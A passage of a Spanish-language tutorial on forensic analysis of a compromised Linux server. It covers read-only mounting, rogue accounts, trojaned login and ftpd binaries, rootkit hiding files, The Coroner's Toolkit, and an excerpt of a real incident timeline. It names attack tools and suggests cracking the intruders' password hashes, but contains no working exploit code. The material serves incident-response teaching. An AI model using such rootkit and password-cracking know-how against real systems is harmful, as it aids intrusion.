Recuerde que si el disco era el único dispositivo IDE utilizado en el sistema, pueda posiblemente ser master en el primer controlador o /dev/hda. Por eso el fichero fstab los muestra de tal forma, y no como /dev/hdd como aparecen en nuestro sistema de análisis. Por lo tanto para que podamos montar la partición /home necesitamos utilizar /dev/hdd4.

Ejemplo:

```
# umount /mnt
# mount -r /dev/hdd4 /mnt
# ls -lat /mnt
total 21
drwx------  47 user1    user1        3072 Apr 28 11:52 user1
drwx------  10 user3    user3        1024 Dec  3 14:19 user3
drwx------   4 user2    user2        1024 Oct 14  1999 user2
drwxr-xr-x   2 root     root        12288 Oct  1  1999 lost+found
drwxr-xr-x   2 root     nobody       1024 Apr 15  1999 samba
drwxr-xr-x   5 root     root         1024 Apr  7  1999 httpd
drwxr-xr-x   6 root     root         1024 Mar 21  1999 ftp
drwxr-xr-x  30 root     root         1024 Aug  2  1998 local
```

Ahora podemos ver el contenido de la partición /home montado sobre /mnt. Vamos por ahora ignorar el contenido de la partición /home, ya que ningún fichero de sistema operativo se encuentra allí. En futuro podemos examinar su contenido para detectar algún indicio de back-door, como aplicaciones setuid/setgid, ficheros .rhosts, comandos añadidos a los ficheros de inicialización de shell (.cshrc, .bashrc, etc.) que pueden enviar una copia de fichero que contiene passwords a una dirección, borrar fichero, similares...

Ahora vamos a re-montar en solo lectura el sistema de ficheros root y empecemos a investigar.

Ejemplo:

```
# umount /mnt
# mount -r /dev/hdd2 /mnt
```

Primero, verifiquemos que es lo que contiene el fichero /etc/passwd para ver que UID/GIDs hay dentro. Este fichero debe ser copiado y utilizado con la aplicación mactime del suite de herramientas The Coroner's Toolkit [13]. La aplicación nos mostrará el mapeo correcto de UIDs y GIDs.

El fichero puede contener cuentas creadas por los intrusos como por ejemplo aquí:

```
# less /mnt/etc/passwd
 . . .
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
adm:x:3:4:adm:/var/adm:
lp:x:4:7:lp:/var/spool/lpd:
```

```
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
z:x:0:0::/:/bin/bash
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:
news:x:9:13:news:/var/spool/news:
uucp:x:10:14:uucp:/var/spool/uucp:
operator:x:11:0:operator:/root:
r00t:x:598:500:::/bin/bash
games:x:12:100:games:/usr/games:
y:x:900:100::/tmp:/bin/bash
gopher:x:13:30:gopher:/usr/lib/gopher-data:
ftp:x:14:50:FTP User:/home/ftp:
nobody:x:99:99:Nobody:/:
gdm:x:42:42::/home/gdm:/bin/bash
xfs:x:100:233:X Font Server:/etc/X11/fs:/bin/false
user1:x:500:500:User 1:/home/user1:/bin/tcsh
user2:x:501:501:User 2:/home/user2:/bin/tcsh
user3:x:502:502:User 3:/home/user3:/bin/tcsh
named:x:25:25:Named:/var/named:/bin/false
```

En el ejemplo anterior podemos observar que hay cuentas que parecen totalmente fuera de lugar ya que tienen números UID elevados y sin orden aparente, por ejemplo "r00t", "y" (que por cierto tiene asignado como $HOME el directorio /tmp). Un fichero de passwd legítimo y creado por el sistema, normalmente sigue un patrón secuencial de asignación de UID's. Mientras aquí anotamos que las cuentas con UIDs de orden bajo como reciente mente añadidos "named" con UID 25 y "z" con UID 0 y GID 0 (lo mismo que root) son altamente sospechosos por su posición. Hemos tomado nota para volver luego y investigar más en detalle. Intente de forma opcional extraer las contraseñas de esos usuarios en formato cifrado y intentar ripearlos (hay muchas posibilidades de que los intrusos tengan la misma contraseña en la máquina atacada y en suya propia). También apunte algunas conclusiones a las que hemos llegado ahora:

1. Creación de cuentas es una acción frecuente, y creadas de tal manera como hemos visto anteriormente muestran un nivel de conocimientos bajo del intruso.

2. También podemos suponer que los intrusos ya han observado que el administrador no realiza verificaciones de seguridad rutinarias y no temen ser descubiertos.

3. Puede ser que sea un entretenimiento para los intrusos crear cuentas para que el administrador las encuentre, las elimine y asume que el sistema está seguro, mientras que hay múltiples puertas traseras instaladas que permiten compromiso root de la máquina.

4. Como normalmente las cuentas se crean de forma secuencial en el fichero /etc/passwd, puede que el administrador (o alguien más?!) haya instalado named en el sistema, de forma reciente (o el intruso haya instalado una versión de named vulnerable!?) .

Debe empezar a construir una línea temporal para anotar cuando han ocurrido los hechos, intentar trazar de forma inversa todos los acciones hasta el intento de entrada al sistema, y el punto de origen de entrada. Aprovechando todos los hechos acumulados al final podremos determinar el origen verdadero del atacante y los sistemas utilizados para atacar a la máquina.

En este momento nos encontramos en la fase de observación, ahora estamos tomando notas de lo que pasó, hemos verificado que tenemos el contenido de disco duro intacto, disponemos de tres copias del disco duro y las estamos estudiando en modo solo lectura.

Desde aquí el análisis puede ser continuado usando herramientas comunes de Unix y/o herramientas especialmente diseñados para análisis forense. También debemos utilizar toda nuestra experiencia anterior y el sentido común.

7. Análisis con Herramientas Estándar de Unix

Asumiendo que nuestras herramientas de Unix están limpias de root-kit podemos seguir desde el punto donde lo dejamos en la sección anterior. Hemos notado que las dos cuentas "y" y "z" tienen el directorio "home" situado en en /tmp y en / respectivamente. Eso significa que debemos examinar de forma detenida estos directorios para detectar cualquier anomalía.

```
# ls -lat /mnt/tmp
total 156
drwxrwxrwt    6 root     root         1024 May  1 04:03 .
-r--r--r--    1 root     gdm            11 Apr 29 14:17 .X0-lock
drwxrwxrwt    2 root     gdm          1024 Apr 29 14:17 .X11-unix
drwxrwxrwt    2 xfs      xfs          1024 Apr 29 14:17 .font-unix
drwxr-xr-x   25 y        root         1024 Apr 28 23:47 ..
drwx------    2 user1    user1        1024 Apr 26 17:36 kfm-cache-500
-rw-rw-r--    1 user1    user1       12288 Apr 26 16:37 psdevtab
drwxrwxrwt    2 root     root         1024 Apr 21 11:12 .ICE-unix
-rwx------    1 root     root       138520 Apr 20 20:15 .fileMFpmnk
```

El listado nos muestra que existe un fichero cuyo tamaño es superior al resto. También vemos que es el fichero más antiguo de la carpeta que pertenece al root. El nombre del fichero no estandarizado y posee derechos de ejecución. Debemos determinar de que tipo de fichero se trata. El programa file nos informa que el fichero misterioso es un binario ELF de 32-bit LSB ejecutable, Intel 80386, versión 1 (Linux), enlazado estáticamente, stripeado. Para ver cual es el objetivo del fichero examinamos el listado de cadenas de texto que contiene.

1. strings - /mnt/tmp/.fileMFpmnk

```
/lib/ld-linux.so.2
__gmon_start__
libpam.so.0
_DYNAMIC
_GLOBAL_OFFSET_TABLE_
pam_set_item
free
__ctype_tolower
malloc
strcmp
pam_end
pam_start
 . . .
File
Compressed
Block
Stream
[nowhere yet]
ftpd
:aAvdlLiop:P:qQr:sSt:T:u:wWX
bad value for -u
option -%c requires an argument
unknown option -%c ignored
 . . .
VirtualFTP Connect to: %s [%s]
banner
logfile
email
/var/log/xferlog
connection refused (server shut down) from %s
%s FTP server shut down -- please try again later.
lslong
/bin/ls -la
lsshort
lsplain
/bin/ls
greeting
full
terse
brief
%s FTP server (%s) ready.
%s FTP server ready.
FTP server ready.
 . . .
FTP LOGIN REFUSED (already logged in as %s) FROM %s, %s
```

```
Already logged in.
/etc/ftphosts
FTP LOGIN REFUSED (name in %s) FROM %s, %s
anonymous
FTP LOGIN REFUSED (anonymous ftp denied on default server) FROM %s, %s
FTP LOGIN REFUSED (ftp in denied-uid) FROM %s, %s
/etc/ftpusers
 . . .
```

Por lo que vemos, strings nos comenta que el binario es un servidor FTP, normalmente llamado ftpd ó in.ftpd. Puede ser que el fichero forma parte de un root-kit, o de un caballo de Troya. Los ficheros de configuración de este tipo de kits suelen normalmente encontrarse en el directorio /dev, entonces una búsqueda rápida en ese directorio podrá desvelar nos mucha información útil.

```
# cd /mnt/dev
# ls -lat | head -30
total 116
drwxr-xr-x   8 root     root        34816 Apr 30 04:02 .
srw-rw-rw-   1 root     root            0 Apr 30 04:02 log
crw-------   1 root     root       4,   1 Apr 29 14:17 tty1
crw-------   1 root     root       4,   2 Apr 29 14:17 tty2
crw-------   1 root     root       4,   3 Apr 29 14:17 tty3
crw-------   1 root     root       4,   4 Apr 29 14:17 tty4
crw-------   1 root     root       4,   5 Apr 29 14:17 tty5
crw-------   1 root     root       4,   6 Apr 29 14:17 tty6
srwxrwxrwx   1 root     root            0 Apr 29 14:17 gpmctl
srw-------   1 root     root            0 Apr 29 14:17 printer
crw-r--r--   1 root     root       1,   9 Apr 29 14:17 urandom
prw-------   1 root     root            0 Apr 29 14:14 initctl
drwxr-xr-x  25 y        root         1024 Apr 28 23:47 ..
crw-rw-rw-   1 root     tty        3,   2 Apr 28 11:44 ttyp2
crw-rw-rw-   1 root     tty        3,   0 Apr 28 11:43 ttyp0
crw-rw-rw-   1 root     tty        3,   1 Apr 28 11:43 ttyp1
-rw-r--r--   1 root     root           18 Apr 27 22:58 ptyp
drwxr-xr-x   4 r00t     root         1024 Apr 27 22:58 ...
crw-rw-rw-   1 root     tty        3,   4 Apr 27 12:02 ttyp4
crw-rw-rw-   1 root     tty        3,   3 Apr 27 11:56 ttyp3
crw-------   1 root     root       5,   1 Apr 21 11:09 console
lrwxrwxrwx   1 root     root            5 Apr 21 04:02 mouse -> psaux
drwxr-xr-x   2 root     root         1024 Apr 20 15:21 rev0
-rw-r--r--   1 root     root           33 Apr 20 15:21 ptyr
lrwxrwxrwx   1 root     root            9 Feb 28 02:23 isdnctrl -> isdnctrl0
lrwxrwxrwx   1 root     root            5 Feb 28 02:23 nftape -> nrft0
lrwxrwxrwx   1 root     root            3 Feb 28 02:23 fb -> fb0
```

```
lrwxrwxrwx   1 root     root           15 Feb 28 02:23 fd -> ../proc/self/fd
lrwxrwxrwx   1 root     root            4 Feb 28 02:23 ftape -> rft0
Broken pipe
```

De todos los ficheros que podemos ver en este directorio, nos llaman atención los archivos "ptyp" y "ptyr" que no son dispositivos comunes, ni directorios ni tampoco enlaces simbólicos, son ficheros de tipo ASCII text. También localizamos un directorio llamado "rev0" y una carpeta oculta "..." que pertenece al usuario r00t.

```
# less ptyr
 . . .
sp.pl
slice
ssynk4
rev0
bc1
snif
```

Son ficheros de configuración de un caballo de Troya. El contenido muestra que ls ocultará ficheros o directorios sp.pl, slice (un cliente DoS), ssynk4 (cliente DoS), rev0, bc1, y snif (adivina que puede ser :).

Si estamos seguros que nuestro sistema no está "infectado" con un root-kit podemos utilizar las herramientas find y grep para identificar dónde se encuentran estos ficheros (el disco está montado como solo lectura, nodev, ¿verdad?).

```
# cd /mnt
```

```
# find . -ls | grep -f etc/ptyr
282058    1 drwxr-xr-x   2 root     root         1024 Apr 20 15:21 ./dev/rev0
282059    1 -rw-r--r--   1 root     root            5 Apr 20 15:21 ./dev/rev0/sniff.pid

282061   20 -rw-r--r--   1 root     root        19654 Apr 20 20:23 ./dev/rev0/tcp.log
164753    9 -rwxr-xr-x   1 1080     users        9106 Sep 20  1999 ./dev/rev0/slice
164754    8 -rwxr-xr-x   1 1080     users        8174 Sep 20  1999 ./dev/rev0/smurf4
164755    8 -rwxr-xr-x   1 1080     users        7229 Sep 20  1999 ./dev/rev0/snif
164756    4 -rwxr-xr-x   1 1080     users        4060 Mar  5  1999 ./dev/rev0/sp.pl
164770    9 -rwxr-xr-x   1 root     1000         8268 Aug 10  1999 ./dev/.../blitznet/slice2

 61907    2 -rwxr-xr-x   1 root     root         2006 Mar 29  1999 ./usr/bin/sliceprint

255230    1 -rw-r--r--   1 root     root          900 Mar 21  1999 ./usr/include/python1.5/sliceobje
```

Algunos de los ficheros que están en la lista posiblemente son ficheros legítimos del sistema operativo, pero hay algunos que son bastante sospechosos, los que se encuentran en dos carpetas del directorio /dev.

```
# cd /mnt/dev
# less ptyp
 . . .
3 egg
3 egg
3 bnc
```

En este momento podemos hacer una apuesta seguro, que el fichero "ptyp" es un fichero de configuración de la utilidad "ps" del root-kit, que oculta los procesos que contienen cadenas "egg", "bnc" en sus nombres. Hay que encontrar binarios ejecutables con estos nombres.

```
# cd /mnt/dev
# ls -lR ...
...:
total 2699
drwxr-sr-x   2 root     1000         1024 Aug 10  1999 blitznet
-rw-r--r--   1 root     root        30720 Apr 26 04:07 blitznet.tar
-rwxrw-r--   1 r00t     user1       22360 Apr 27 22:58 bnc
-rw-r--r--   1 900      users     2693120 Apr 20 22:18 collision.tar
-rw-rw-r--   1 r00t     user1         976 Apr 27 22:58 example.conf
-rw-rw-r--   1 user1    user1           5 Apr 28 20:35 pid.bnc


.../blitznet:
total 22
-rw-r--r--   1 root     1000         3450 Aug 10  1999 README
-rw-r--r--   1 root     1000         1333 Aug 10  1999 blitz.c
-rw-r--r--   1 root     1000         3643 Aug 10  1999 blitzd.c
-rwxr-xr-x   1 root     1000         2258 Aug 10  1999 rush.tcl
-rwxr-xr-x   1 root     1000         8268 Aug 10  1999 slice2


# ls -lR rev0
rev0:
total 51
```

```
-rwxr-xr-x   1 1080     users        9106 Sep 20  1999 slice
-rwxr-xr-x   1 1080     users        8174 Sep 20  1999 smurf4
-rwxr-xr-x   1 1080     users        7229 Sep 20  1999 snif
-rw-r--r--   1 root     root            5 Apr 20 15:21 sniff.pid
-rwxr-xr-x   1 1080     users        4060 Mar  5  1999 sp.pl
-rw-r--r--   1 root     root        19654 Apr 20 20:23 tcp.log


# cd /mnt/usr/bin
# ls -lat | head
total 89379
drwxr-xr-x   6 root     root        27648 Apr 21 04:01 .
-rwsr-xr-x   1 root     root        20164 Apr 15 19:23 chx
lrwxrwxrwx   1 root     root            8 Feb 28 02:28 netscape-navigator -> netscape
drwxrwxr-x   2 news     news         1024 Feb 28 02:25 rnews.libexec
drwxrwxr-x   2 news     news         1024 Feb 28 02:25 control
drwxrwxr-x   2 news     news         1024 Feb 28 02:25 filter
lrwxrwxrwx   1 root     root            4 Dec 30 13:06 elatex -> etex
lrwxrwxrwx   1 root     root            5 Dec 30 13:06 lambda -> omega
lrwxrwxrwx   1 root     root            3 Dec 30 13:06 latex -> tex
Broken pipe


# strings - chx
/lib/ld-linux.so.2
__gmon_start__
libcrypt.so.1
libpam.so.0
 . . .
/var/log/btmp
/usr/share/locale
util-linux
fh:p
login: -h for super-user only.
usage: login [-fp] [username]
/dev/tty
%s??
/dev/vcs
/dev/vcsa
login
login: PAM Failure, aborting: %s
Couldn't initialize PAM: %s
FAILED LOGIN %d FROM %s FOR %s, %s
Login incorrect
TOO MANY LOGIN TRIES (%d) FROM %s FOR %s, %s
```

```
FAILED LOGIN SESSION FROM %s FOR %s, %s
Login incorrect
.hushlogin
%s/%s
/var/run/utmp
/var/log/wtmp
/bin/sh
TERM
dumb
HOME
/usr/local/bin:/bin:/usr/bin
PATH
/sbin:/bin:/usr/sbin:/usr/bin
SHELL
/var/spool/mail
MAIL
LOGNAME
DIALUP AT %s BY %s
ROOT LOGIN ON %s FROM %s
ROOT LOGIN ON %s
LOGIN ON %s BY %s FROM %s
LOGIN ON %s BY %s
You have %smail.
new
login: failure forking: %s
setuid() failed
No directory %s!
Logging in with home = "/".
login: no memory for shell script.
exec
login: couldn't exec shell script: %s.
login: no shell: %s.
%s login:
login name much too long.
NAME too long
login names may not start with '-'.
too many bare linefeeds.
EXCESSIVE linefeeds
Login timed out after %d seconds
/etc/securetty
/etc/motd
/var/log/lastlog
Last login: %.*s
from %.*s
on %.*s
LOGIN FAILURE FROM %s, %s
```

```
LOGIN FAILURE ON %s, %s
%d LOGIN FAILURES FROM %s, %s
%d LOGIN FAILURES ON %s, %s
 . . .
```

El programa nos muestra los mensajes del sistema mencionando el fichero ".hushlogin". Todos los indicios apuntan que el binario es una versión modificada de de la aplicación login. Siempre Los binarios siempre incluyen información de objetos compilados y enlazados, salvo que estén stripeados. Si está presente esa información podemos examinarla con la utilidad nm.

```
# nm chx
chx: no symbols
```

En este caso estamos seguros que el fichero está stripeado. También podemos aprender bastante de lo que nos muestran los enlaces a las librerías dinámicas. Para verlo utilicemos ldd.

```
# ldd chx
libcrypt.so.1 => /lib/libcrypt.so.1 (0x40018000)
libpam.so.0 => /lib/libpam.so.0 (0x40045000)
libdl.so.2 => /lib/libdl.so.2 (0x4004d000)
libpam_misc.so.0 => /lib/libpam_misc.so.0 (0x40050000)
libc.so.6 => /lib/libc.so.6 (0x40054000)
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
```

El binario depende del módulo PAM y de las librerías criptográficas. Entonces, el binario efectúa algunas tareas de autenticación de usuarios. El binario parece ser el /bin/login modificado que pertenece a algún caballo de Troya.

Normalmente los intrusos no dejan huellas evidentes que nos permiten encontrar ficheros y directorios. El ejemplo anterior nos ha probado que utilizando herramientas básicas podemos reunir bastante información.

En caso de que no sea tan sencillo, se deberá utilizar herramientas más complejas y eficaces. Para ver algún ejemplo complejo podemos ver referencias [14, 15].

8. The Coroner’s Toolkit

The Coroner’s Toolkit (o el "TCT") es un suite de aplicaciones escritas por Dan Farmer y Wietse Venema para un curso organizado por IBM sobre un estudio forense de equipos comprometidos.

Las aplicaciones más importantes del suite son:

- grave-robber - Una utilidad para capturar información sobre inodes, para luego pueda ser procesada por el programa mactime del mismo toolkit.

- unrm y lazarus - Herramientas para la recuperación de archivos borrados (logs, RAM, swap, etc.). Estas aplicaciones identifican y recuperan la información oculta en los sectores del disco duro.

- mactime - El programa para visualizar los ficheros/directorios su timestamp MAC (Modification, Access, y Change).

De todas esas herramientas, las más útiles y interesantes son grave-robber y mactime. unrm y lazarus son buenas si se tiene mucho tiempo y espacio libre en el disco, ya que el programa necesita identificar información en los sectores del disco para recuperar los ficheros (logs, fuentes, etc..) borrados por los intrusos.

La función más básica de grave-robber es de escanear algunas o todas sistemas de ficheros con función stat() para obtener información de los inodes. Grave-robber crea en la carpeta /data un directorio llamado como el nombre del host de la máquina y allí almacena los inodes, dentro del fichero body. El programa mactime luego ordena los resultados y los muestra: según el tiempo, cual de los tres timestamps corresponde, muestra el tipo de fichero, tamaño y a quién pertenece junto con el path.

Desde el listado, podremos sacar algunas conclusiones sobre la actividad que ha ejercido el intruso/los intrusos durante el tiempo que estuvieron dentro del sistema. Eso puede incluir instalación de caballos de Troya, backdoors, sustitución de ficheros legítimos del sistema operativo, descarga de herramientas, modificación de las librerías del sistema o instalación de rpm's/deb's/pkg's etc... También podemos ver desde aquí la creación de directorios ocultos, ejecución de los comandos de sistema operativo, compilación y ejecución de aplicaciones. Toda esa información que nunca se almacena de forma directa, puede ser extraída de la información que da mactime.

9. Usando TCT

Ahora, paso por paso, intentaremos instalar la aplicación The Coroners Toolkit, que nos servirá para recoger la información sobre el sistema de ficheros y analizarla. La herramienta no es un ejecutable que realiza todas las tareas, sino es una colección de utilidades diseñadas para efectuar una tarea determinada, siendo importante entender el funcionamiento de cada una de ellas para poder entender la función del toolkit en su totalidad.

- El primer paso es de desempaquetar el archivo tct-1.09.tar.gz y copiarlo al directorio /usr/local/tct-1.09, luego debemos leer detenidamente el fichero de instrucciones de instalación INSTALL.

  La instalación de la aplicación debe ser realizada en una partición donde haya mucho espacio ya que algunas aplicaciones suelen generar una cantidad grande de información de salida por ejemplo unrm y lazarus.

- Ahora reconfiguremos los scripts utilizando perl reconfig, ya que TCT utiliza rutas completas.

- Limpiamos bien la distribución con un make clean; make all.
- Leemos documentación del directorio docs/ para conocer los detalles de funcionamiento del Toolkit.

1. ls -l docs

```
total 34
-rw-r--r--   1 root     root         8572 Mar 28 12:41 README
-rw-r--r--   1 root     root         7162 Mar 28 12:39 grave-robber.README
-rw-r--r--   1 root     root        13944 Jan 16 13:34 lazarus.README
-rw-r--r--   1 root     root         2830 Mar 27 15:07 mac.README
```

- Montamos la partición que debemos analizar en modo solo lectura y nodev, bajo algún punto de montura.

```
# mount -r /dev/hdd2 /mnt
```

- Suponiendo que siendo root arrancamos la aplicación grave-robber para que empiece a analizar el sistema de ficheros y procesos y guardar los datos de los inodes en el fichero data/activalink.com/base y data/activalink.com/base.S (binarios sUID), el estado del sistema en el directorio data/activalink.com/command_out/ etc...

```
# bin/grave-robber -m /mnt
```

Grave-robber, inicialmente realizará un análisis de todas las carpetas que están en el $PATH y a continuación empezará a analizar la partición montada /mnt. El análisis suele tardar bastante tiempo, según el tamaño de la partición que queremos analizar. Aparte de los inodes se guarda el estado general del sistema, es decir el output de las herramientas de monitorización del sistema como ps, top, w etc.

- Una vez terminado el trabajo del grave-robber, copiamos los ficheros passwd y group del sistema comprometido al directorio tct-1.09/ para que los tengamos a mano ya que en breve estaremos analizándolos. Para que se pueda distinguirlos luego renombramos estos ficheros passwd.victim o utilicemos el nombre del host comprometido.
- Ejecutamos luego la utilidad mactime especificando una fecha anterior del compromiso (consideremos que la actividad del intruso ha acabado hoy, pero no vamos a especificar hora). Necesitaremos pasar los resultados de ejecución de mactime a un fichero para que luego se pueda examinar su contenido con tranquilidad:

```
# bin/mactime -p passwd.victim -g group.victim /mnt 06/01/2000 > victim.mactime
```

En la utilidad mactime hubo un bug en las versiones anteriores que hacía que la aplicación no funcione correctamente si se utilizaba la opción -p. Entonces hacíamos un "work around", incorporando temporalmente el contenido del fichero /etc/passwd de la máquina víctima coincidir con él de nuestro sistema. En la versión actual este bug está solucionado.

- Hacemos una copia del fichero antes de empezar el análisis:

```
# cp victim.mactime victim.mactime.evidence
```

- Entonces podemos empezar analizando el fichero victim.mactime.evidence. Usando el editor de texto favorito, empecemos a revisarlo y marcar la actividad sospechosa. Sugiero que pongamos los tags [MARK] para que luego con grep podamos localizar nuestros apuntes.

```
. . .
Feb 13 2000 01:10:50   50148 mca -rwxr-xr-x root     root     /x/dev/.
Feb 13 2000 01:10:52     564 m.c -rw-r--r-- root     root     /x/etc/profile
Feb 13 2000 01:11:00       5 mac -rw-r--r-- root     root     /x/lib/sp
                       18110 .a. -rw-r--r-- root     root     /x/lib/tp
[MARK]
Feb 13 2000 01:12:08       0 ..c -rw-r--r-- root     root     /x/dev/ttyag
                          25 ..c -rwxr-xr-x root     root     /x/dev/ttyfg
                          23 ..c -rwxr-xr-x root     root     /x/dev/ttypg
                      373176 ..c -rws--x--x root     root     /x/lib/...
                        8268 ..c -rwxr-xr-x root     root     /x/lib/go
                       20164 ..c -rwsr-xr-x root     root     /x/usr/bin/xcat
                      183780 ..c -rwxr-xr-x root     root     /x/usr/sbin/find
Feb 13 2000 01:30:00    8268 .a. -rwxr-xr-x root     root     /x/lib/go
Feb 14 2000 10:42:03 1166856 .a. -rw-r--r-- root     root     /x/var/log/boot.log
[MARK]
Feb 14 2000 10:45:35   18110 m.c -rw-r--r-- root     root     /x/lib/tp
Feb 14 2000 10:57:42    2998 m.c -rw-r--r-- root     root     /x/etc/inetd.conf~
Feb 14 2000 11:01:47     168 .a. -rw-rw-r-- root     root     /x/root/.saves-1380-dragon~

Feb 14 2000 11:18:38     160 m.c -rw-r--r-- root     root     /x/etc/hosts.allow.old
Feb 14 2000 11:18:55     347 m.c -rw-r--r-- root     root     /x/etc/hosts.deny.old
Feb 14 2000 11:19:08       8 m.c -rw-r--r-- root     root     /x/etc/hosts.deny
Feb 14 2000 11:22:53     168 m.c -rw-rw-r-- root     root     /x/root/.saves-1380-dragon~
```

```
Feb 14 2000 11:30:30    2998 .a. -rw-r--r-- root     root     /x/etc/inetd.conf~
[MARK]
Feb 14 2000 11:31:25   20164 .a. -rwsr-xr-x root     root     /x/usr/bin/xcat
Feb 14 2000 11:34:10     868 m.c -rwxr-xr-x root     root     /x/etc/rc.d/rc.local
 . . .
```

- Después de repasar todo el listado de cambios históricos, puede que tengamos alguna pista para seguir o puede que no. En el peor de los casos debemos modificar la fecha especificada y cambiarla a la anterior del compromiso, intentándolo de nuevo, o mirar más detenidamente. Durante el examen del documento se prohibe distraerse ya que la concentración es muy importante en este momento.

- Otra opción es recuperar ficheros borrados con el la utilidad unrm y luego examinarlos con el programa strings. Las dos utilidades unrm y lazarus generan muchísima información y debemos tener bastante espacio libre en la partición. Podemos determinar la cantidad de espacio en disco duro que necesitamos, calculando de forma aproximada a partir del informe de df.

```
# df /mnt
Filesystem           1k-blocks      Used Available Use% Mounted on
/dev/hdb2              3028881   1604551   1267697  56% /mnt
```

En nuestro ejemplo df muestra que tenemos 1267697 bloques sin ocupar, que significa que unrm puede llegar a generar aproximadamente 1.2 Gb de información. Encontremos una partición libre y almacenemos allí el dump (Importante: en el ejemplo utilizo el punto de montura del sistema comprometido y no del sistema de análisis):

```
# bin/unrm /dev/hdb2 > /data/victim.hda2.unrm
```

- Pero si disponemos de más espacio (más de 1.2Gb) y mucho más tiempo para practicar con lazarus que procesará el espacio libre en el disco duro y intentará recuperar ficheros por sus tipos. lazarus genera una salida en formato HTML, que nos va a dar la oportunidad de verla a través del navegador.

10. Ejemplo de Informe de Pruebas Encontradas

Ahora vamos a examinar un informe completo de actividad del/los intrusos en el sistema. El informe fue obtenido tras analizar los ficheros log de los sniffers, intentos de acceso, timestamps en el sistema de ficheros y el contenido de las particiones de varios sistemas involucrados en el incidente. Es un informe real, sólo que está omitida la información que identifica el sistema atacado.

A continuación es un informe de análisis de la partición root del sistema 212.102.25.57, la información aparece tal como fue encontrada después de poner el disco off-line, una vez descubierto el compromiso, por sospecha de tener ejecutándose un sniffer. Una copia de sistema de ficheros está disponible en formato tar.gz en el cdrom ISO 9660 CD-R.

La máquina 212.102.25.57 fue una de las 19 sospechosas de estar comprometida por el mismo grupo de intrusos alrededor de 10-09-2001, utilizando Linux mountd buffer overflow bug documentado en el CERT Advisory CA-98.12: http://www.cert.org/advisories/CA-98.12.mountd.html.

El disco duro fue analizado utilizando herramientas creadas por Dan Farmer y Wietse Venema llamadas "Coroner's Toolkit" (http://www.fish.com/security/forensics.html). En el sistema de análisis el disco aparece como dispositivo /dev/hdc. La primera partición, /dev/hdc1 fue montada en modo solo lectura bajo el punto de montura "/x". Como resultado de ello todas las rutas serán precedidas por esa cadena. La geometría del disco duro es la siguiente:

```
Disk /dev/hdc: 32 heads, 63 sectors, 825 cylinders
Units = cylinders of 2016 * 512 bytes


   Device Boot    Start       End    Blocks   Id  System
/dev/hdc1             1       793    799312+  83  Linux
/dev/hdc2           794       825     32256   82  Linux swap
```

Como la mayoría de los accesos al servidor empezaron el día 09 del Sep, la fecha previa del análisis forense fue tomada como 28 Ago. No se observan huellas obvias de modificación/instalación de ficheros que indica que el sistema fue accedido entre Sep 01 y Sep 04. El día Sep 04, ha sido modificado el demonio "r" de Berkeley ("in.rlogind").

```
Sep 04 01 23:42:21   23421 m.. -rwxr-xr-x root  root  /x/usr/sbin/in.rlogind
```

El examen del contenido del fichero a través de la utilidad strings, muestra que es un caballo de Troya que contiene los mismos strings que han sido encontrados en los ficheros del grupo "XXXXXXX"

```
. . .
```

```
rlogind
ahLln
XXXXXXXX
Can’t get peer name of remote host: %m
Can’t get peer name of remote host
setsockopt (SO_KEEPALIVE): %m
setsockopt (IP_TOS): %m
hname != NULL
rlogind.c
 . . .
```

Pasados ocho días, se observa una modificación en el demonio y ejecución de chown.

```
Sep 12 01 11:04:10   23421 ..c -rwxr-xr-x root   root  /x/usr/sbin/in.rlogind
Sep 12 01 11:04:11    8156 .a. -rwxr-xr-x root   bin   /x/bin/chown
```

Pasada media hora el fichero fuente "linsniff.c" se copia en un directorio oculto bajo /etc. El directorio se llama "/etc/.. " (punto-punto-espacio-espacio-espacio, lo que nosotros convertiremos en "/etc/..___" para ver más claramente el directorio en los listados. El programa luego se compila. Vemos que los ficheros de cabeceras que tienen que ver con las funciones de red han sido accedidos, y el binario se mueve al "/usr/sbin/telnetd".

Después de cuatro minutos se produce un acceso a través del protocolo FTP (observando el acceso al wu.ftpd y su fichero id de proceso).

```
Sep 12 01 11:36:59    5127 m.c -rw-r--r-- root  root  /x/etc/..___/linsniff.c
Sep 12 01 11:37:08    4967 .a. -rw-r--r-- root  root  /x/usr/src/linuxelf-1.2.13/include/linux/if.h

                      3143 .a. -rw-r--r-- root  root  /x/usr/src/linuxelf-1.2.13/include/linux/if_ar

                      3145 .a. -rw-r--r-- root  root  /x/usr/src/linuxelf-1.2.13/include/linux/if_et

                      1910 .a. -rw-r--r-- root  root   /x/usr/src/linuxelf-1.2.13/include/linux/ip.h

                      2234 .a. -rw-r--r-- root  root   /x/usr/src/linuxelf-1.2.13/include/linux/rout

                      1381 .a. -rw-r--r-- root  root   /x/usr/src/linuxelf-1.2.13/include/linux/tcp

  Sep 12 01 11:37:10  2048 ..c drwxr-xr-x root  bin    /x/usr/sbin
  Sep 12 01 11:37:14  2048 m.. drwxr-xr-x root  bin    /x/usr/sbin
  Sep 12 01 11:37:15  8179 m.c -rwxr-xr-x root  root   /x/usr/sbin/telnetd
  Sep 12 01 11:37:48  8179 .a. -rwxr-xr-x root  root   /x/usr/sbin/telnetd
  Sep 12 01 11:41:52 77476 .a. -rwxr-xr-x root  bin    /x/usr/sbin/wu.ftpd
```

```
  Sep 12 01 11:42:08  4096 mac -rw-r--r-- root  root   /x/var/pid/ftp.pids-remote
```

Esa actividad se confirma recuperando el fichero eliminado de log desde la partición root:

```
Sep 12 11:33:05 2001 in.telnetd[1290]: connect from cromanion.washington.edu
Sep 12 11:33:16 2001 login: 1 LOGIN FAILURE FROM cromanion.washington.edu, 502
Sep 12 11:33:21 2001 login: 2 LOGIN FAILURES FROM cromanion.washington.edu, 502
 . . .
Sep 12 11:34:02 2001 su: quaker on /dev/ttyp1
Sep 12 11:41:52 2001 wu.ftpd[1327]: connect from lotherdale.washington.edu
Sep 12 11:41:57 2001 ftpd[1327]: USER snoop
Sep 12 11:41:59 2001 ftpd[1327]: PASS password
Sep 12 11:42:00 2001 ftpd[1327]: SYST
Sep 12 11:42:01 2001 ftpd[1327]: CWD /tmp
Sep 12 11:42:06 2001 ftpd[1327]: TYPE Image
Sep 12 11:42:06 2001 ftpd[1327]: PORT
Sep 12 11:42:06 2001 ftpd[1327]: STOR mountd
